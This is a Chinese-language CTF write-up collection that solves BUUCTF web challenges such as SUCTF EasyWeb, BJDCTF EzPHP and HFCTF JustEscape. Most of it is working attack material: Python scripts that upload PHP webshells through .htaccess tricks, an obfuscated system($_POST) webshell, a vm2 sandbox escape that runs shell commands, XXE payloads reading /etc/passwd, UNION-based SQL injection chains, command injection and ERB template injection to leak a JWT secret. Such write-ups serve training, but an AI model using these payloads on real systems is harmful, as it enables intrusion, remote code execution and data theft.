buuctf——web刷题第四页
第四页
目录
[SUCTF 2019]EasyWeb
[GKCTF 2021]easycms
[BJDCTF2020]EzPHP
[GYCTF2020]EasyThinking
[GXYCTF2019]StrongestMind
[WMCTF2020]Make PHP Great Again
[SUCTF 2018]GetShell
EasyBypass
[HFCTF2020]JustEscape
[b01lers2020]Life on Mars
[极客大挑战 2020]Greatphp
[CSAWQual 2019]Web_Unagi
[BSidesCF 2019]SVGMagic
[ISITDTU 2019]EasyPHP
[羊城杯2020]easyphp
[FireshellCTF2020]Caas
[HarekazeCTF2019]Avatar Uploader 1
[SCTF2019]Flag Shop
[N1CTF 2018]eating_cms
[GYCTF2020]Easyphp
[GYCTF2020]Ez_Express
[SUCTF 2018]MultiSQL
[SUCTF 2018]annonymous
[RootersCTF2019]babyWeb
[安洵杯 2019]不是文件上传
[强网杯 2019]Upload
[CISCN2019 华东南赛区]Web4
[GXYCTF2019]BabysqliV3.0
bestphp's revenge
[pasecactf_2019]flask_ssti
[SUCTF 2019]EasyWeb
源码:
<?php
function get_the_flag(){// webadmin will remove your upload file every 20 min!!!! $userdir = "upload/tmp_".md5($_SERVER['REMOTE_ADDR']);if(!file_exists($userdir)){mkdir($userdir);}if(!empty($_FILES["file"])){$tmp_name = $_FILES["file"]["tmp_name"];$name = $_FILES["file"]["name"];$extension = substr($name, strrpos($name,".")+1);if(preg_match("/ph/i",$extension)) die("^_^"); if(mb_strpos(file_get_contents($tmp_name), '<?')!==False) die("^_^");if(!exif_imagetype($tmp_name)) die("^_^"); $path= $userdir."/".$name;@move_uploaded_file($tmp_name, $path);print_r($path);}
}$hhh = @$_GET['_'];if (!$hhh){highlight_file(__FILE__);
}if(strlen($hhh)>18){die('One inch long, one inch strong!');
}if ( preg_match('/[\x00- 0-9A-Za-z\'"\`~_&.,|=[\x7F]+/i', $hhh) )die('Try something else!');$character_type = count_chars($hhh, 3);
if(strlen($character_type)>12) die("Almost there!");eval($hhh);
?>
count_chars:
异或构造:
输出可用字符集
<?php
for($ascii=0;$ascii<256;$ascii++){if ( !preg_match('/[\x00- 0-9A-Za-z\'"\`~_&.,|=[\x7F]+/i', chr($ascii)) ){echo $ascii.',';}
}
?>
def func(str):s=[33,35,36,37,40,41,42,43,45,47,58,59,60,62,63,64,92,93,94,123,125,128,129,130,131,132,133,134,135,136,137,138,139,140,141,142,143,144,145,146,147,148,149,150,151,152,153,154,155,156,157,158,159,160,161,162,163,164,165,166,167,168,169,170,171,172,173,174,175,176,177,178,179,180,181,182,183,184,185,186,187,188,189,190,191,192,193,194,195,196,197,198,199,200,201,202,203,204,205,206,207,208,209,210,211,212,213,214,215,216,217,218,219,220,221,222,223,224,225,226,227,228,229,230,231,232,233,234,235,236,237,238,239,240,241,242,243,244,245,246,247,248,249,250,251,252,253,254,255]for i in s:for j in s:if chr(i^j)==str and hex(i)=='0x81': # 0x81为_#print(chr(j),chr(i))print(hex(j),hex(i))string = "_GET"
for m in string:func(m)
?_=${%de%c6%c4%d5^%81%81%81%81}{%81}()&%81=phpinfo
其实就是?_=$_GET{_}()&_=phpinfo
当然,这个试非预期解:
$userdir = "upload/tmp_".md5($_SERVER['REMOTE_ADDR']);
根据ip来md5加密;
然后不能出现 ph <?
上传 .htaccess文件:
脚本取自
import requests
import base64url = "http://fc5e19e8-2ac4-470f-86f8-9e0604126180.node4.buuoj.cn:81/?_=${%de%c6%c4%d5^%81%81%81%81}{%81}();&%81=get_the_flag"htaccess = b"""
#define width 1
#define height 1
AddType application/x-httpd-php .r
php_value auto_append_file "php://filter/convert.base64-decode/resource=/var/www/html/upload/tmp_c47b21fcf8f0bc8b3920541abd8024fd/shell.r"
"""
shell = b"GIF89a00" + base64.b64encode(b"<?php eval($_POST[1]);?>")#通过base64加密绕过文件内容判断,然后包含的时候再解密file1 = {'file':('.htaccess',htaccess,'image/jpeg')}
data = {"upload":"submit"}
res = requests.post(url = url,data = data,files = file1)
print(res.text)file2 = {'file':('shell.r',shell,'image/jpeg')}
data = {"upload":"submit"}
res = requests.post(url = url,data = data,files = file2)
print(res.text)
[GKCTF 2021]easycms
cms
提示
扫描到admin.php
弱口令的话尝试admin/12345,还真是
然后就是设计——>自定义——>导出主题
然后复制下载链接:
http://2e5d063a-1b8a-44c1-a6fb-5878ac409bf1.node5.buuoj.cn:81/admin.php?m=ui&f=downloadtheme&theme=L3Zhci93d3cvaHRtbC9zeXN0ZW0vdG1wL3RoZW1lL2RlZmF1bHQvMS56aXA=
估计是任意文件下载
http://2e5d063a-1b8a-44c1-a6fb-5878ac409bf1.node5.buuoj.cn:81/admin.php?m=ui&f=downloadtheme&theme=L2ZsYWc=
直接下载后缀改为txt打开即可
[BJDCTF2020]EzPHP
$_SERVER['QUERY_STRING'
],$_REQUEST
base32解码
<?php
highlight_file(__FILE__);
error_reporting(0); $file = "1nD3x.php";
$shana = $_GET['shana'];
$passwd = $_GET['passwd'];
$arg = '';
$code = '';echo "<br /><font color=red><B>This is a very simple challenge and if you solve it I will give you a flag. Good Luck!</B><br></font>";if($_SERVER) { if (preg_match('/shana|debu|aqua|cute|arg|code|flag|system|exec|passwd|ass|eval|sort|shell|ob|start|mail|\$|sou|show|cont|high|reverse|flip|rand|scan|chr|local|sess|id|source|arra|head|light|read|inc|info|bin|hex|oct|echo|print|pi|\.|\"|\'|log/i', $_SERVER['QUERY_STRING'])) die('You seem to want to do something bad?');
}if (!preg_match('/http|https/i', $_GET['file'])) {if (preg_match('/^aqua_is_cute$/', $_GET['debu']) && $_GET['debu'] !== 'aqua_is_cute') { $file = $_GET["file"]; echo "Neeeeee! Good Job!<br>";}
} else die('fxck you! What do you want to do ?!');if($_REQUEST) { foreach($_REQUEST as $value) { if(preg_match('/[a-zA-Z]/i', $value)) die('fxck you! I hate English!'); }
} if (file_get_contents($file) !== 'debu_debu_aqua')die("Aqua is the cutest five-year-old child in the world! Isn't it ?<br>");if ( sha1($shana) === sha1($passwd) && $shana != $passwd ){extract($_GET["flag"]);echo "Very good! you know my password. But what is flag?<br>";
} else{die("fxck you! you don't know my password! And you don't know sha1! why you come here!");
}if(preg_match('/^[a-z0-9]*$/isD', $code) ||
preg_match('/fil|cat|more|tail|tac|less|head|nl|tailf|ass|eval|sort|shell|ob|start|mail|\`|\{|\%|x|\&|\$|\*|\||\<|\"|\'|\=|\?|sou|show|cont|high|reverse|flip|rand|scan|chr|local|sess|id|source|arra|head|light|print|echo|read|inc|flag|1f|info|bin|hex|oct|pi|con|rot|input|\.|log|\^/i', $arg) ) { die("<br />Neeeeee~! I have disabled all dangerous functions! You can't get my flag =w=");
} else { include "flag.php";$code('', $arg);
} ?>
开始处于:
if (file_get_contents($file) !== 'debu_debu_aqua')
die("Aqua is the cutest five-year-old child in the world! Isn't it ?<br>");
$_SERVER['QUERY_STRING'
不会对传入的参数url编码,我们就直接unicode全编码
from urllib.parse import quoteoriginal_string = "ctf"
encoded_string = ''.join(['%' + format(ord(char), '02X') for char in original_string])
print(encoded_string)
然后是:/^aqua_is_cute$/
^表示头,$表示尾,换行绕过
?%64%65%62%75=%61%71%75%61%5F%69%73%5F%63%75%74%65%0a
%0A换行
然后是这个:$_REQUEST是post和get都有,但是post的优先级更高,直接post:debu=1覆盖掉get的
file就用data伪协议:
然后:
sha1强比较
emmm,真正的强比较试了一下,发现有东西被ban了,那就直接用数组绕过
最后一步:
因为前面有个extract($_GET["flag"]);
可以利用这个覆盖code和arg
看到什么'',$arg第一个i选哪个到的就是create_function
arg只需要加},和;//就可以闭合,如:
function a('',$arg){return }代码;//
}
flag[code]=create_function&flag[arg]=}var_dump(get_defined_vars());//
这里直接用get_defined_vars输出所有定义的量
emmm,有个 rea1fl4g.php ,那就用filter来读,因为.被ban了,那就取反吧:
include被ban了就用requrie
require(php://filter/read=convert.base64-encode/resource=rea1fl4g.php)
最终:
get:
?%64%65%62%75=%61%71%75%61%5F%69%73%5F%63%75%74%65%0a&file=data://text/plain,%64%65%62%75_%64%65%62%75_%61%71%75%61&%73%68%61%6E%61[]=1&%70%61%73%73%77%64[]=2&%66%6c%61%67%5b%63%6f%64%65%5d=%63%72%65%61%74%65%5f%66%75%6e%63%74%69%6f%6e&%66%6c%61%67%5b%61%72%67%5d=}require(~(%8f%97%8f%c5%d0%d0%99%96%93%8b%9a%8d%d0%8d%9a%9e%9b%c2%9c%90%91%89%9a%8d%8b%d1%9d%9e%8c%9a%c9%cb%d2%9a%91%9c%90%9b%9a%d0%8d%9a%8c%90%8a%8d%9c%9a%c2%8d%9a%9e%ce%99%93%cb%98%d1%8f%97%8f));//
post:
debu=1&file=2&shana=3&passwd=4&flag=5
nb
[GYCTF2020]EasyThinking
thinkphp6的框架,查查看漏洞
我们可以通过修改自己session的内容规定名字
login界面的session值是一个全局的值(这里加php记得先去4个字符再加,满足条件)
session存的位置:
/runtime/session/sess_22eb1fd45e759cfcea9ac956f6b2.php
这里的session就是我们要的了
然后就是flag看不了用readflag
disable_functions绕过
[GXYCTF2019]StrongestMind
那就写个脚本吧(ai搓一个)
import requests
from bs4 import BeautifulSoup
import re
import timeurl = "http://7f0b0f66-dfb2-4fda-b338-8585dbd49bb0.node5.buuoj.cn:81/index.php"session = requests.Session()for i in range(1, 1023):time.sleep(0.1)if i == 1:response = session.get(url)else:response = post_response # 从上次响应中读取下一道题response.encoding = 'utf-8'soup = BeautifulSoup(response.text, 'html.parser')center_text = soup.find('center').get_text(strip=True)print("原始文本内容:", center_text)# 清洗文本,只保留数字和运算符cleaned_text = re.sub(r'[^\d+\-\s]', '', center_text)match = re.search(r'(\d+)\s*([+-])\s*(\d+)', cleaned_text)if match:formula = f"{match.group(1)}{match.group(2)}{match.group(3)}"answer = eval(formula)print(f"计算结果: {answer}")else:raise ValueError("未找到有效的算式")# 提交答案data = {"answer": str(answer)}post_response = session.post(url, data=data)post_response.encoding = 'utf-8'print("提交成功!响应内容:")print(post_response.text)
[WMCTF2020]Make PHP Great Again
require_once
require-once如果包含过多软链接就会失效
/proc/self/
是/proc/[pid]/
的软链接,指向当前进程的/proc/[pid]
目录。/proc/self/root
是指向当前进程的 根目录(root directory) 的软链接
软链接的基本概念
- 软链接是一个独立的文件 ,它的内容只是一个路径字符串。
- 它指向另一个实际存在的文件或目录。
- 如果原文件被删除,软链接会变成“死链”(失效)
那这里就用filter
php://filter/convert.base64-encode/resource=/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/var/www/html/flag.php
出来base64解密
[SUCTF 2018]GetShell
禁数字字母文件上传
有个这个:
访问:
随便传一个空的txt文件,发现他会自动变成php
那就去看看怎么写入一句话木马
fuzz发现这里的数字,字母都用不了
利用中文字符 + 取反 + 字符串拼接来绕过敏感词过滤器
<?=
$_=[]; //array
$__=$_.$_; //arrayarray
$_=($_==$__); //不成立 false -->0
$__=($_==$_); //成立 true -->1
$___=~区[$__].~冈[$__].~区[$__].~勺[$__].~皮[$__].~针[$__]; //system
$____=~码[$__].~寸[$__].~小[$__].~欠[$__].~立[$__]; //_Post
$___($$____[_]); //system($_POST[_]);
<?=$_=[];$__=$_.$_;$_=($_==$__);$__=($_==$_);$___=~区[$__].~冈[$__].~区[$__].~勺[$__].~皮[$__].~针[$__];$____=~码[$__].~寸[$__].~小[$__].~欠[$__].~立[$__];$___($$____[_]);
这里不要直接在bp里改,先写到文件里再上传
发现没有:
env:显示系统中已存在的环境变量,以及在定义的环境中执行指令
EasyBypass
comm1参数为"传入的参数",comm2同理,所以我们可以用 "来闭合
payload:?comm1=index.php";tac /fla*;"&comm2=1
——> $comm1="index.php";tac /fla*;""
然后就system执行了
[HFCTF2020]JustEscape
vm2沙盒逃逸(不懂)
看看run.php
看来大佬的wp,这里考的是vm沙箱逃逸
因为有提示说不是php, 先用Error().stack测试一下
vm.js
GitHub上有大佬写了脚本:
"use strict";
const {VM} = require('vm2');
const untrusted = '(' + function(){TypeError.prototype.get_process = f=>f.constructor("return process")();try{Object.preventExtensions(Buffer.from("")).a = 1;}catch(e){return e.get_process(()=>{}).mainModule.require("child_process").execSync("whoami").toString();}
}+')()';
try{console.log(new VM().run(untrusted));
}catch(x){console.log(x);
}
然后prototype这些被过滤了的,可以用 [`${`${`prototyp`}e`}`] 或者 [`p`,`r`,`o`,`t`,`o`,`t`,`y`,`p`,`e`],"
绕过:
改完之后:
有 . 用[]
(function (){TypeError[`${`${`prototyp`}e`}`][`${`${`get_pro`}cess`}`] = f=>f[`${`${`constructo`}r`}`](`${`${`return proc`}ess`}`)();try{Object.preventExtensions(Buffer.from(``)).a = 1;}catch(e){return e[`${`${`get_pro`}cess`}`](()=>{}).mainModule[`${`${`requir`}e`}`](`${`${`child_proces`}s`}`)[`${`${`exe`}cSync`}`](`ls`).toString();}
})()
/run.php?code=(function (){
TypeError[`${`${`prototyp`}e`}`][`${`${`get_pro`}cess`}`] = f=>f[`${`${`constructo`}r`}`](`${`${`return proc`}ess`}`)();
try{
Object.preventExtensions(Buffer.from(``)).a = 1;
}catch(e){
return e[`${`${`get_pro`}cess`}`](()=>{}).mainModule[`${`${`requir`}e`}`](`${`${`child_proces`}s`}`)[`${`${`exe`}cSync`}`](`tac /flag`).toString();
}
})()
[b01lers2020]Life on Mars
多库查询
static/js/life_on_mars.js 访问这个试试
有个query?search=
加上olympus_mons后回显了一个数据集,有可能是sql注入
然后因为是get_file
所以这些参数都可以
olympus_mons order by 2 发现真可以
olympus_mons union select 1,database()
成功回显
olympus_mons union select 1,(select group_concat(table_name)from information_schema.tables where table_schema='aliens')
发现和主页一样,那应该是不止一个库了
在information.schema.schemate中看
olympus_mons union select 1,group_concat(database()) from information_schema.schemata
3个一样的
换一下:
olympus_mons union select 1,group_concat(schema_name) from information_schema.schemata
估计就是这个alien_code了
olympus_mons union select 1,group_concat(table_name) from information_schema.tables where table_schema='alien_code'
olympus_mons union select 1,group_concat(column_name) from information_schema.columns where table_name='code'
olympus_mons union select 1,group_concat(code) from alien_code.code
[极客大挑战 2020]Greatphp
Error绕过md5,sha1,反序列化
这里不能用数组,用error
$a=new Error(payload,1);$b=new Error(payload,2);
这个的报错模式为:
先用?>闭合,所以为?><?include"/flag"?>,然后因为"被ban了,所以用取反
<?php
class SYCLOVER {public $syc;public $lover;public function __construct($b,$c){$this->syc = $b;$this->lover = $c;}
}
$flag = ~("/flag");
$str = "?><?=include~".$flag."?>";
$b = new error($str,1);$c=new error($str,2);
$a = new SYCLOVER($b,$c);echo(urlencode(serialize($a)));
?>
O%3A8%3A%22SYCLOVER%22%3A2%3A%7Bs%3A3%3A%22syc%22%3BO%3A5%3A%22Error%22%3A7%3A%7Bs%3A10%3A%22%00%2A%00message%22%3Bs%3A20%3A%22%3F%3E%3C%3F%3Dinclude%7E%D0%99%93%9E%98%3F%3E%22%3Bs%3A13%3A%22%00Error%00string%22%3Bs%3A0%3A%22%22%3Bs%3A7%3A%22%00%2A%00code%22%3Bi%3A1%3Bs%3A7%3A%22%00%2A%00file%22%3Bs%3A15%3A%22%2Fbox%2Fscript.php%22%3Bs%3A7%3A%22%00%2A%00line%22%3Bi%3A13%3Bs%3A12%3A%22%00Error%00trace%22%3Ba%3A0%3A%7B%7Ds%3A15%3A%22%00Error%00previous%22%3BN%3B%7Ds%3A5%3A%22lover%22%3BO%3A5%3A%22Error%22%3A7%3A%7Bs%3A10%3A%22%00%2A%00message%22%3Bs%3A20%3A%22%3F%3E%3C%3F%3Dinclude%7E%D0%99%93%9E%98%3F%3E%22%3Bs%3A13%3A%22%00Error%00string%22%3Bs%3A0%3A%22%22%3Bs%3A7%3A%22%00%2A%00code%22%3Bi%3A2%3Bs%3A7%3A%22%00%2A%00file%22%3Bs%3A15%3A%22%2Fbox%2Fscript.php%22%3Bs%3A7%3A%22%00%2A%00line%22%3Bi%3A13%3Bs%3A12%3A%22%00Error%00trace%22%3Ba%3A0%3A%7B%7Ds%3A15%3A%22%00Error%00previous%22%3BN%3B%7D%7D
[CSAWQual 2019]Web_Unagi
xml绕过
然后看了一下,这个是xml格式的
<?xml version="1.0"?>
<!DOCTYPE users [
<!ENTITY flag SYSTEM "file:///flag">
]> <!-- 引用外部实体flag-->
<users> <user><username>114514</username><password>1</password><name>11</name><email>1.com</email><group>CSAW2025</group><intro>&flag;</intro> </user>
</users>
被拦截了,然后绕过的话尝试把UTF-8换成UTF-16
[BSidesCF 2019]SVGMagic
SVG&proc
SVG是啥,搜一下
XML啊,估计就是xxe了
<?xml version="1.0" encoding="UTF-8"?><!DOCTYPE note [<!ENTITY flag SYSTEM "file:///etc/passwd" >]><svg height="300" width="300"><text x="30" y="30">&flag;</text>
</svg>
试试
可以
然后这里为什么是flag.txt呢,看来其他师傅的博客,好像没找到怎么来的,就靠猜的吧
<!--test.svg-->
<?xml version="1.0" encoding="UTF-8"?><!DOCTYPE note [<!ENTITY flag SYSTEM "file:///proc/self/cwd/flag.txt" >
]><svg height="300" width="1000"><text x="30" y="30">&flag;</text>
</svg>
/proc/self/root & pwd & cwd
/proc/self:指当前正在访问该路径的进程自身
root: 表示当前进程的 根目录
cwd: 表示当前进程的 当前工作目录
pwd: 是 /proc/self/cwd
的一个符号链接
[ISITDTU 2019]EasyPHP
if ( strlen(count_chars(strtolower($_), 0x3)) > 0xd )
die('you are so close, omg');
如果输入字符串中使用的不同字符数量超过 13 种 ,就触发 die()
取反没东西,试试异或:
取反的话和 %ff的异或结果一样:
?_=((%8F%97%8F%96%91%99%90)^(%ff%ff%ff%ff%ff%ff%ff))();
然后用 print_r(scandir(.))
?_=(%8F%8D%96%91%8B%A0%8D)^(%FF%FF%FF%FF%FF%FF%FF)((%8C%9C%9E%91%9B%96%8D)^(%FF%FF%FF%FF%FF%FF%FF)((%D1)^(%FF)));
但是试了一下发现过13了
然后看来别人的文章, 使用异或的方法,通过已存在的字符构造三个没有的字符
str = 'pscadi'
target = 'ntr'for m in target:for a in str:for b in str:for c in str:if ord(a)^ord(b)^ord(c) == ord(m):print("{} = {}^{}^{}".format(m,a,b,c))
输出(取了三个结果):
n = c^d^i
t = s^c^d
r = p^c^a
替换ntr
payload:
?_=((%8F%9E%96%9C%9C%A0%9E)^(%FF%9C%FF%9B%9B%FF%9C)^(%FF%8F%FF%96%8C%FF%8F)^(%FF%FF%FF%FF%FF%FF%FF))(((%8C%9C%9E%9C%9B%96%9E)^(%FF%FF%FF%9B%FF%FF%9C)^(%FF%FF%FF%96%FF%FF%8F)^(%FF%FF%FF%FF%FF%FF%FF))((%D1)^(%FF)));
用end直接将指针执行最后一个文件,然后读取
readfile(end(scandir(.))
异或:((%8D%9A%9E%9B%99%96%93%9A)^(%FF%FF%FF%FF%FF%FF%FF%FF))(((%9A%91%9B)^(%FF%FF%FF))(((%8C%9C%9E%91%9B%96%8D)^(%FF%FF%FF%FF%FF%FF%FF))(%D1^%FF)));
还是超了
str = 'readfile'
target = 'nsc'for m in target:for a in str:for b in str:for c in str:if ord(a)^ord(b)^ord(c) == ord(m):print("{} = {}^{}^{}".format(m,a,b,c))输出(取三个结果):
n = a^f^i
s = r^e^d
c = a^d^f
换
?_=((%8D%8D%8D%8D%8D%8D%9E%8D)^(%9A%8D%8D%8D%8D%8D%9B%8D)^(%9A%9A%9E%9B%99%96%96%9A)^(%FF%FF%FF%FF%FF%FF%FF%FF))(((%8D%9E%8D)^(%8D%99%8D)^(%9A%96%9B)^(%FF%FF%FF))(((%8D%9E%8D%9E%8D%8D%8D)^(%9A%9B%8D%99%8D%8D%9A)^(%9B%99%9E%96%9B%96%9A)^(%FF%FF%FF%FF%FF%FF%FF))(%D1^%FF)));
[羊城杯2020]easyphp
.htaccess包含自身
unlink
如果不是index.php就会被删掉,然后ban了几个单词,我估计flag就在flag里
那我们这里就写入.hatccess
因为这里file和flag被ban了,然后\拼接上下文的
php_value auto_prepend_fil\
e .htaccess
#<?php system('cat /fla?');?>
?filename=.htaccess&content=php_value%20auto_prepend_fil%5C%20e%20.htaccess%20#%3C%3Fphp%20system('cat%20%2Ffla*')%3B%3F%3E
[FireshellCTF2020]Caas
#include文件包含
尝试echo 1
然后看看报错了啥:
这是一个c的编译器,然后看了其他师傅的wp,这用#include包含:
#include "/etc/passwd"
#include "/proc/self/root/flag"
[HarekazeCTF2019]Avatar Uploader 1
看看正则:
- 输入的字符串必须以开头 (
^
) 开始,以结尾 ($
) 结束。 - 字符串的长度必须在 4 到 16 个字符 之间。
- 字符串中的每个字符只能是 数字 (0-9) 、大写字母 (A-Z) 、小写字母 (a-z) 或 下划线 (_)
看看源码:
<?php
// 关闭错误报告,可能会隐藏一些错误信息,在开发阶段可考虑开启(例如 error_reporting(E_ALL))
error_reporting(0); // 引入配置文件,可能包含一些常量和配置信息
require_once('config.php');
// 引入工具类文件,可能包含一些常用的工具函数
require_once('lib/util.php');
// 引入会话管理类文件,可能包含安全会话相关的功能
require_once('lib/session.php'); // 创建一个新的 SecureClientSession 对象,使用预定义的 CLIENT_SESSION_ID 和 SECRET_KEY 作为参数
$session = new SecureClientSession(CLIENT_SESSION_ID, SECRET_KEY); // 检查是否有文件被上传,如果文件不存在或不是通过 HTTP POST 上传的文件,输出错误信息
if (!file_exists($_FILES['file']['tmp_name']) ||!is_uploaded_file($_FILES['file']['tmp_name'])) {error('No file was uploaded.');
}// 检查文件大小,如果文件大小超过 256000 字节,输出错误信息
if ($_FILES['file']['size'] > 256000) {error('Uploaded file is too large.');
}// 检查文件类型
$finfo = finfo_open(FILEINFO_MIME_TYPE);
// 获取文件的 MIME 类型
$type = finfo_file($finfo, $_FILES['file']['tmp_name']);
finfo_close($finfo);
// 如果文件类型不是 image/png,输出错误信息
if (!in_array($type, ['image/png'])) {error('Uploaded file is not PNG format.');
}// 检查文件的宽高
$size = getimagesize($_FILES['file']['tmp_name']);
// 如果文件的宽度或高度大于 256 像素,输出错误信息
if ($size[0] > 256 || $size[1] > 256) {error('Uploaded image is too large.');
}
// 如果文件的类型不是 IMAGETYPE_PNG,输出错误信息并显示 FLAG1(可能是用于调试或意外情况)
if ($size[2]!== IMAGETYPE_PNG) {// I hope this never happens...error('What happened...? OK, the flag for part 1 is: <code>'. getenv('FLAG1'). '</code>');
}// 生成一个随机的文件名,使用 bin2hex(random_bytes(4)) 生成一个 8 位的十六进制字符串并添加.png 后缀
$filename = bin2hex(random_bytes(4)). '.png';
// 将上传的文件移动到 UPLOAD_DIR 目录下,并使用生成的随机文件名
move_uploaded_file($_FILES['file']['tmp_name'], UPLOAD_DIR. '/'. $filename);// 在会话中存储文件名
$session->set('avatar', $filename);
// 显示一个成功的消息
flash('info', 'Your avatar has been successfully updated!');
// 重定向到根目录
redirect('/');
if ($size[2]!== IMAGETYPE_PNG) {
// I hope this never happens...
error('What happened...? OK, the flag for part 1 is: <code>'. getenv('FLAG1'). '</code>');
}因该是这里输出flag
[SCTF2019]Flag Shop
ruby,jwt
分析一下
eyJhbGciOiJIUzI1NiJ9.eyJ1aWQiOiJhMTE4NWY4Ni0xZDczLTRmMjktODI5ZC1kMzYwZGYwNjY2YjUiLCJqa2wiOjIwfQ.Qkt32DrXtgUUgafRubSL-ouIkc1xZfxNlp5rGaHydoE
ewogICJ1aWQiOiAiYTExODVmODYtMWQ3My00ZjI5LTgyOWQtZDM2MGRmMDY2NmI1IiwKICAiamtsIjogMTAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAKfQ
伪造但是显示
robots.txt
require 'sinatra'
require 'sinatra/cookies'
require 'sinatra/json'
require 'jwt'
require 'securerandom'
require 'erb'set :public_folder, File.dirname(__FILE__) + '/static'FLAGPRICE = 1000000000000000000000000000
ENV["SECRET"] = SecureRandom.hex(64)configure doenable :loggingfile = File.new(File.dirname(__FILE__) + '/../log/http.log',"a+")file.sync = trueuse Rack::CommonLogger, file
endget "/" doredirect '/shop', 302
endget "/filebak" docontent_type :texterb IO.binread __FILE__
endget "/api/auth" dopayload = { uid: SecureRandom.uuid , jkl: 20}auth = JWT.encode payload,ENV["SECRET"] , 'HS256'cookies[:auth] = auth
endget "/api/info" doisloginauth = JWT.decode cookies[:auth],ENV["SECRET"] , true, { algorithm: 'HS256' }json({uid: auth[0]["uid"],jkl: auth[0]["jkl"]})
endget "/shop" doerb :shop
endget "/work" doisloginauth = JWT.decode cookies[:auth],ENV["SECRET"] , true, { algorithm: 'HS256' }auth = auth[0]unless params[:SECRET].nil?if ENV["SECRET"].match("#{params[:SECRET].match(/[0-9a-z]+/)}")puts ENV["FLAG"]endendif params[:do] == "#{params[:name][0,7]} is working" thenauth["jkl"] = auth["jkl"].to_i + SecureRandom.random_number(10)auth = JWT.encode auth,ENV["SECRET"] , 'HS256'cookies[:auth] = authERB::new("<script>alert('#{params[:name][0,7]} working successfully!')</script>").resultend
endpost "/shop" doisloginauth = JWT.decode cookies[:auth],ENV["SECRET"] , true, { algorithm: 'HS256' }if auth[0]["jkl"] < FLAGPRICE thenjson({title: "error",message: "no enough jkl"})elseauth << {flag: ENV["FLAG"]}auth = JWT.encode auth,ENV["SECRET"] , 'HS256'cookies[:auth] = authjson({title: "success",message: "jkl is good thing"})end
enddef isloginif cookies[:auth].nil? thenredirect to('/shop')end
end
然后不会了,看一下其他师傅的博客
要点:
if params[:do] == "#{params[:name][0,7]} is working" then
auth["jkl"] = auth["jkl"].to_i + SecureRandom.random_number(10)
auth = JWT.encode auth,ENV["SECRET"] , 'HS256'
cookies[:auth] = auth
ERB::new("<script>alert('#{params[:name][0,7]} working successfully!')</script>").result
end
end
要满足if params[:do] == "#{params[:name][0,7]} is working" 中的do和name相同,就会使用 JWT(JSON Web Token)库对 auth 数据结构进行编码操作。它将 auth 作为要编码的数据,使用环境变量 ENV["SECRET"] 作为加密密钥,并指定加密算法为 HS256。编码后的结果会重新赋值给 auth 变量,以便后续使用。
内部的 params[:SECRET].match(/[0-9a-z]+/)首先使用正则表达式 /[0-9a-z]+/ 对 params[:SECRET] 进行匹配操作。
如果匹配成功,它会返回一个 MatchData 对象。然后通过将这个 MatchData 对象转换为字符串,得到从 params[:SECRET] 中提取出的符合要求的字符串部分。
外部的 ENV["SECRET"].match(...):接着,将从 params[:SECRET] 中提取出的字符串作为参数,再用它去匹配环境变量 ENV["SECRET"]如果 ENV["SECRET"] 中能找到与从 params[:SECRET] 提取出的字符串相匹配的部分,那么这个 match 操作就会返回一个 MatchData 对象(表示匹配成功),此时整个 if 条件判断就为真,会继续执行后续位于这个 if 条件判断内部的操作,也就是输出 ENV["FLAG"]
构造paload:/work?SECRET=&name=<%=$'%>&do=<%=$'%> is working
需要编码使用:
/work SECRET=&name=%3c%25%3d%24%27%25%3e&do=%3c%25%3d%24%27%
25%3e is working
6075a7e43caa8595b1f0c3f608e84be868d950173d140fa3339bc4aeffa2a30bbddd07abd86cf6a7e078fbe01e77c8a413ebb899bf122c6d9d4c5d0d558739f6 working successfully!
密匙知道了,加密:
[N1CTF 2018]eating_cms
扫到register.php
登陆后看到
有个page参数,试试能不能读文件,index.php没有,估计自动补齐了
user.php?page=php://filter/convert.base64-encode/resource=index
function.php
<?php
session_start();
require_once "config.php";
function Hacker()
{Header("Location: hacker.php");die();
}function filter_directory()
{$keywords = ["flag","manage","ffffllllaaaaggg"];$uri = parse_url($_SERVER["REQUEST_URI"]);parse_str($uri['query'], $query);
// var_dump($query);
// die();foreach($keywords as $token){foreach($query as $k => $v){if (stristr($k, $token))hacker();if (stristr($v, $token))hacker();}}
}function filter_directory_guest()
{$keywords = ["flag","manage","ffffllllaaaaggg","info"];$uri = parse_url($_SERVER["REQUEST_URI"]);parse_str($uri['query'], $query);
// var_dump($query);
// die();foreach($keywords as $token){foreach($query as $k => $v){if (stristr($k, $token))hacker();if (stristr($v, $token))hacker();}}
}function Filter($string)
{global $mysqli;$blacklist = "information|benchmark|order|limit|join|file|into|execute|column|extractvalue|floor|update|insert|delete|username|password";$whitelist = "0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ'(),_*`-@=+><";for ($i = 0; $i < strlen($string); $i++) {if (strpos("$whitelist", $string[$i]) === false) {Hacker();}}if (preg_match("/$blacklist/is", $string)) {Hacker();}if (is_string($string)) {return $mysqli->real_escape_string($string);} else {return "";}
}function sql_query($sql_query)
{global $mysqli;$res = $mysqli->query($sql_query);return $res;
}function login($user, $pass)
{$user = Filter($user);$pass = md5($pass);$sql = "select * from `albert_users` where `username_which_you_do_not_know`= '$user' and `password_which_you_do_not_know_too` = '$pass'";echo $sql;$res = sql_query($sql);
// var_dump($res);
// die();if ($res->num_rows) {$data = $res->fetch_array();$_SESSION['user'] = $data[username_which_you_do_not_know];$_SESSION['login'] = 1;$_SESSION['isadmin'] = $data[isadmin_which_you_do_not_know_too_too];return true;} else {return false;}return;
}function updateadmin($level,$user)
{$sql = "update `albert_users` set `isadmin_which_you_do_not_know_too_too` = '$level' where `username_which_you_do_not_know`='$user' ";echo $sql;$res = sql_query($sql);
// var_dump($res);
// die();
// die($res);if ($res == 1) {return true;} else {return false;}return;
}function register($user, $pass)
{global $mysqli;$user = Filter($user);$pass = md5($pass);$sql = "insert into `albert_users`(`username_which_you_do_not_know`,`password_which_you_do_not_know_too`,`isadmin_which_you_do_not_know_too_too`) VALUES ('$user','$pass','0')";$res = sql_query($sql);return $mysqli->insert_id;
}function logout()
{session_destroy();Header("Location: index.php");
}?>
register:
<?php
require_once "function.php";
